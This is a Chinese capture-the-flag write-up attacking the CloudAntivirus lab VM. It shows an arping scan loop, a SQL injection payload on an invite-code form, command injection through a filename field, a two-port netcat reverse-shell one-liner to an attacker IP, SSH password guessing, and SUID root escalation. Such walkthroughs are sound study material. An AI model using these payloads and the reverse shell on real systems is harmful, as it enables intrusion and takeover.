02_easy_cloudantivirus 打靶

背景:云防病毒扫描服务,目前处于测试阶段
目标:渗透该服务,找出漏洞并提权
涉及攻击方式 :端口扫描,WEB 侦查,SQL 注入,命令注入,密码爆破,代码分析,NC 串联,本地提权

主机发现:上次使用的是 arp-scan -l 这次就用另一个工具 arping
arp-scan 更接近黑客攻击,渗透测试。而 arping 适用广泛度更高,短板没法对一段的 IP 地址进行一次性的统一发现,通常结合 shell 脚本进行循环发现,也可以用 nmap

for i in $(seq 1 254);do sudo arping -c 2 10.0.2.$i;done

2.jpg

找到靶机 ip 进行端口,服务和应用版本扫描

3.jpg

4.jpg

开放了 22 和 8080 端口,8080 端口依旧是 Weerkzeug 和上一个靶场一样,既然有 http 服务就去访问下

5.jpg

发现要输入邀请码,猜测问题就在这,两种思路:逻辑漏洞进行 sql 注入,暴力破解

随便输入串字符,抓包爆破测试一下

6.jpg

发现 " 可能有问题,看一下返回的内容,这应该就是对应邀请码的查询语句

7.jpg

输入 " or 1=1 --

8.jpg

成功进入后台,发现一堆文件和它对应的权限,通过描述应该就是输入文件名然后这个系统会调用杀毒软件去扫描对应文件。猜测它在 Linux 下的 shell 命令执行应该 xxx 文件名,那么输入 hello | id

9.jpg

返回了当前程序的运行账号,那么就可以进行反弹 shell 的命令,可以用上一个靶场所用的命令,也可以用 nc

10.jpg

11.jpg

发现 nc 没连接起,可能是 nc 版本原因,去掉 -e 参数进行基本的连接发现可以,这里获得了一个小技巧

hello |nc 10.0.2.7 3333 |/bin/bash |nc 10.0.2.7 4444

同时开启两个侦听端口,在 3333 端口执行的代码会在 4444 端口显示(在建立连接后 3333 端口发送的代码会通过管道符发送到 /bin/bash 下解析,结果会发送到 4444)

12.jpg

13.jpg

用 cat 命令进行代码审计没发现什么跟提权有关的,但是有个.sql 文件,怀疑这就是服务端的数据库文件,在服务端查看失败,下载到本机

14.jpg

发现 4 个密码,这个系统开放了 ssh,那么就通过 cat /etc/passwd | grep /bin/bash 找到 3 个具有 shell 权限的账号复制到 txt 文件制作字典并尝试登录

15.jpg

尝试失败,没有一个可以登录。转换思路,利用 ls -l 去仔细的查看文件发现一个惊喜

16.jpg

update_clooudav 发现这个文件是个可执行的,而权限里的 s:set UID 表明该文件是以属主权限执行的,而这个文件的属主是 root,下方还有个.c 文件怀疑是它的源代码,看了下源码非常简单调用了一个 freshclam 文件,在执行命令时必须加参数,否则返回固定的报错,接下来故技重施

17.jpg

之所以加双引号,是为了让程序认为后面的是一个参数,建立连接后在 5555 端口输入 id 查看

18.jpg

成功获得 root 权限

最后复盘一下顺序:主机发现 - 端口扫描 / 服务发现 -SQL 注入 / 密码爆破 - 命令注入 - 信息搜集 /SSH 爆破 -SUID 提权